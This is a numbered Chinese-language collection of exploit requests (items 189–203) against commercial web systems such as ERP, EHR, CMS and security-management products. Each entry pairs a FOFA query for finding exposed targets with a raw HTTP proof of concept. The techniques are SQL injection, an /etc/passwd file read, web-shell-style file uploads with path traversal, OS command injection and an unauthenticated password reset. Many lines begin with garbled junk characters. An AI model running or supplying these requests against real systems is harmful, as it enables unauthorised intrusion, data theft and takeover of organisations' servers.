* \+ m& ]& _0 v4 ZHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
" y$ t2 W$ ]% k, H! ?& P8 P! H$ {Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
1 _% g1 s# r0 u/ b) lConnection: close
& _/ v, t& Q5 R# {. |4 C) z

' x2 _$ T4 y$ K0 ]189. 蓝网科技临床浏览系统 deleteStudy SQL注入
" x0 Z, i- Y) p6 U, MFOFA：app="LANWON-临床浏览系统"
% r2 y' j( O; O7 ]3 M% n& l$ XGET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
, i3 q  n3 u  C# q0 i( zHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
! p2 b0 D0 @; ]* O% ~Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
3 M/ t6 N* y: E1 mAccept-Language: zh-CN,zh;q=0.9
: ]! w2 T5 F% m" R) ^Connection: close

+ M# P6 u' M8 K* ?/ L, Y
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
FOFA：title=="短视频矩阵营销系统"
POST /index.php/admin/Userinfo/poihuoqu HTTP/2
Host: your-ip
: }& P: @, ?" G8 K: IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
+ \- A: Q& ~! y  Y* N# ^
( J" s; q8 U( Y  j7 }poi=file:///etc/passwd

- g2 n2 k, S* `# E
& u% y6 ~1 B) U; I/ `/ k( `191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
, F7 C) _- m5 N, w" K( r' ~7 iFOFA：body="/CDGServer3/index.jsp"
POST /CDGServer3/js/../NavigationAjax HTTP/1.1
Host: your-ip
7 F" M0 Z7 o1 g. R. [2 j2 t1 eUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
) ?" @+ M( ~" y0 A% P4 \
" ]# U% C+ Z1 B+ H0 Jcommand=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=
+ d( b. B) ^6 K3 T
( r1 u- ]* k; b! Y& d( _
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
FOFA：title="用户登录_富通天下外贸ERP"
; }0 v: ?' m& F+ `" ^7 D) TPOST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
9 H$ I7 e3 y. \& N$ Z. s; a( uHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/x-www-form-urlencoded
4 x8 t# ~: J6 D6 Z5 U0 g2 x
; n+ G) g7 _( N) t( X9 W% i
<% @ webhandler language="C#" class="AverageHandler" %>
using System;
/ ^# H1 f. o' cusing System.Web;
public class AverageHandler : IHttpHandler
{
4 d4 M& J) f" s- i  Y% W/ Zpublic bool IsReusable
7 r8 ?& l$ O; k6 s& j! w{ get { return true; } }
public void ProcessRequest(HttpContext ctx)
( C) Z" V6 C6 v/ M. H( c; ]{
  X6 l: S* k3 ]7 z( u' t% Vctx.Response.Write("test");
}
}
6 W6 g) \, K2 z' W% K( i1 L, A. v
; p# ~& p0 F7 `. _
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
, Z. G3 {6 V  j8 w* r0 p2 kFOFA：body="山石云鉴主机安全管理系统"
GET /master/ajaxActions/getTokenAction.php HTTP/1.1
$ V7 F8 i: O/ A) W" ]( L; j! mHost:
' r( o7 X( W- u+ VCookie: PHPSESSID=2333333333333;
0 R0 Q9 N5 b, W, n# SContent-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0


9 n! N8 n" ~( J* @7 j) KPOST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
Host:
4 H' |  y$ A% `7 p4 g2 S, EUser-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept: */*
& d1 W* }7 Q9 R9 i0 ]+ CConnection: close
Cookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
Content-Length: 84

3 g, n+ B0 c+ {# l. hparam=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')
# u( C2 H. ?% M. N) O8 S
+ [- f! R( |1 f/ P& l0 @1 s
GET /master/img/config HTTP/1.1
3 C) I6 W: @5 K) z6 |Host:
) A) w! @0 \* B( r0 I5 C6 z+ ~# aUser-Agent: Mozilla/5.0
, e/ s) V2 Z: C% |  O# ^
& d9 ^( u7 @5 X& P/ @7 e6 s
: C" D5 e3 w0 ^% G4 Q! g# f8 K. J194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
FOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在
$ i6 B' c+ ]) J. r
POST /servlet/uploadAttachmentServlet HTTP/1.1
% a+ d  D8 ^, ^Host: host
4 F1 t2 F" S. D8 R, ~* b1 TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
' o# C* C: B6 z6 lConnection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
------WebKitFormBoundaryKNt0t4vBe8cX9rZk

: V& W: X  K- K8 D: M8 [Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
7 B3 r. `2 ~2 N$ O' M" }Content-Type: text/plain
6 D% g$ I9 s! L. o+ L" H<% out.println("hello");%>
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
0 l! o3 p7 n9 z& u% r8 rContent-Disposition: form-data; name="json"
{"iq":{"query":{"UpdateType":"mail"}}}
, }6 }$ ~; g( G& A$ L------WebKitFormBoundaryKNt0t4vBe8cX9rZk--
8 ^# K% f% H2 B) N: F  R$ t0 g
9 m/ `, S* E* r% @6 [( ^% w
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
FOFA：title=="飞鱼星企业级智能上网行为管理系统
1 Z/ w6 X5 n: e' S  D( _' ^$ i  SPOST /send_order.cgi?parameter=operation HTTP/1.1
Host: 127.0.0.1
! |4 \8 p8 Q  Y+ R$ o6 j' a% |Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: */*
, `$ L. J! }1 P8 T. C2 fAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
# ~- Q8 g5 \6 K9 O: ^1 t  v4 eContent-Type: application/x-www-form-urlencoded
- ?. Z1 a0 ~! K4 y' dContent-Length: 68
9 K1 b/ k2 @, o
{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}

& m+ r( z4 I7 m
196. 河南省风速科技统一认证平台密码重置
FOFA：body="/cas/themes/zbvc/js/jquery.min.js"
POST /cas/userCtl/resetPasswordBySuper HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
6 ?# O7 f, ~1 j1 K1 E" R' C) BHost:
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
! N* R- i/ l% ~. Y1 WContent-Length: 45
% S5 k/ N/ \9 _) m3 EConnection: close
% D+ o# p, s9 ?4 ?, D, Y  S
8 C1 [' N$ ]- J9 q{"xgh":"test","newPass":"test666","email":""}

2 |" r% P2 B& {; h9 g

8 |5 ?- w9 D; e2 E7 ~197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
FOFA：app="浙大恩特客户资源管理系统"
GET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
  L1 s# Q% V, W3 q3 g5 fAccept-Encoding: gzip, deflate
Connection: close

; m7 D# ]3 |7 ?( z) V! k

198.  阿里云盘 WebDAV 命令注入
9 g) r7 J# d' G  N, Y0 _CVE-2024-29640
GET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
Cookie: sysauth=41273cb2cffef0bb5d0653592624cf64
Accept: */*
# s) K; Z! N; O$ U! \/ }# `2 sAccept-Encoding: gzip, deflate
! ?$ P/ x5 _* D3 m# VAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
3 T* ]* O9 S  a( H5 G( d2 q
$ q- H/ |9 d0 b" B
199. cockpit系统assetsmanager_upload接口 文件上传

  C5 }1 }. L9 S( P1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
GET /auth/login?to=/ HTTP/1.1
; G. A$ Q& l% c, c% x
响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"

  a7 ~6 h) u7 S2.使用刚才上一步获取到的jwt获取cookie：
5 L& b: h- i' ?( ]- M) J
POST /auth/check HTTP/1.1
Content-Type: application/json
! w7 c; z, n- B& r, s+ T8 t$ ~
7 j) y  G% T" s0 K$ Y- R- K' @{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}

" V; [- T' x& B响应：200，返回值:
Set-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
* |6 s$ w% }' R# j2 X" LFofa：title="Authenticate Please!"
8 z4 n3 c4 G5 e; m( _( NPOST /assetsmanager/upload HTTP/1.1
3 x* ^# b* W$ b/ ^. M0 Y- [: F% E( lContent-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
8 ?4 I2 P( d! o- T/ yCookie: mysession=95524f01e238bf51bb60d77ede3bea92
% B) N- a# E$ ]8 U
-----------------------------36D28FBc36bd6feE7Fb3
* Q' {; u: B" u$ |- _4 `Content-Disposition: form-data; name="files[]"; filename="tttt.php"
: C& w% a- A6 k: X( RContent-Type: text/php

<?php echo "tttt";unlink(__FILE__);?>
-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="folder"
. D; j; c, z( H0 F, [1 b$ S- V+ L
-----------------------------36D28FBc36bd6feE7Fb3--
% v" S0 z) {* d1 \/ r( L

+ }0 g* q4 \8 n' ?6 G* a/storage/uploads/tttt.php
% M9 {. ~2 m; m+ ]. ^1 c
/ f& F( ?) x* C" v+ X/ P+ M200. SeaCMS海洋影视管理系统dmku SQL注入
0 o. J/ R6 ^1 J  R* ]) [9 a1 V2 U4 xFOFA：app="海洋CMS"
GET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
5 A8 N+ i4 G, u2 b, j& g& P! h( sCookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
% l' o) \% d; FUpgrade-Insecure-Requests: 1
* L4 g" ]7 q5 O. R  YCache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9


: c7 `' I- s9 w  \* y  g201. 方正全媒体新闻采编系统 binary SQL注入
4 f) k0 s: z3 q/ `FOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
  e- p; E9 V0 `9 M0 w+ O8 R" mPOST /newsedit/newsplan/task/binary.do HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
& u  \* a* T% P" F& q
* P4 e- S; Y5 D7 E3 bTableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1
, d3 o1 [7 k8 w* K5 ~  F
& M- o4 p- a  P  |( p1 e
202. 微擎系统 AccountEdit任意文件上传
FOFA：body="/Widgets/WidgetCollection/"
* X, `) z( C2 P8 X( ~; ^获取__VIEWSTATE和__EVENTVALIDATION值
GET /User/AccountEdit.aspx HTTP/1.1
Host: 滑板人之家
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
Content-Length: 0
* k5 ]8 {; R$ G9 {
- I2 a$ u* k6 w  W9 O' `7 l
替换__VIEWSTATE和__EVENTVALIDATION值
: O1 T8 t+ a) cPOST /User/AccountEdit.aspx HTTP/1.1
8 W" w% I6 t  T1 |2 w5 cAccept-Encoding: gzip, deflate, br
, a6 i6 P, q' P4 p% ?Content-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687

-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__VIEWSTATE"

__VIEWSTATE
-----------------------------786435874t38587593865736587346567358735687
; P" U: q6 C( K) H6 oContent-Disposition: form-data; name="__EVENTVALIDATION"

__EVENTVALIDATION
, |7 t# q0 i. C-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
Content-Type: text/plain

Hello World!
% L! F; w0 z; }' l9 A& I0 P% U5 I-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"

上传图片
3 `% n8 F6 B9 m4 Q) K-----------------------------786435874t38587593865736587346567358735687
% X& u; e: C) ]; T1 JContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"


-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"


-----------------------------786435874t38587593865736587346567358735687--

0 `. N8 l& B% w# `
/_data/Uploads/1123.txt

203. 红海云EHR PtFjk 文件上传
* W8 v( i+ n; yFOFA：body="RedseaPlatform"
! l6 N. C6 ^2 T3 kPOST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
" ~, Z. F: \. C0 i% v% n% ]Host: x.x.x.x
Accept-Encoding: gzip
+ a/ j  }1 H/ @% QUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Length: 210

7 t* Q  u7 Y, A+ o' n------WebKitFormBoundaryt7WbDl1tXogoZys4
% d3 ]; y8 y; N* ~* T9 N' `Content-Disposition: form-data; name="fj_file"; filename="11.jsp"
Content-Type:image/jpeg

<% out.print("hello,eHR");%>
' V% }9 K4 q' J2 h------WebKitFormBoundaryt7WbDl1tXogoZys4--




* [: a, ?! {, P5 |5 f
5 X- E- \7 t% m: Z) n8 S
% I8 H/ @. m8 v& w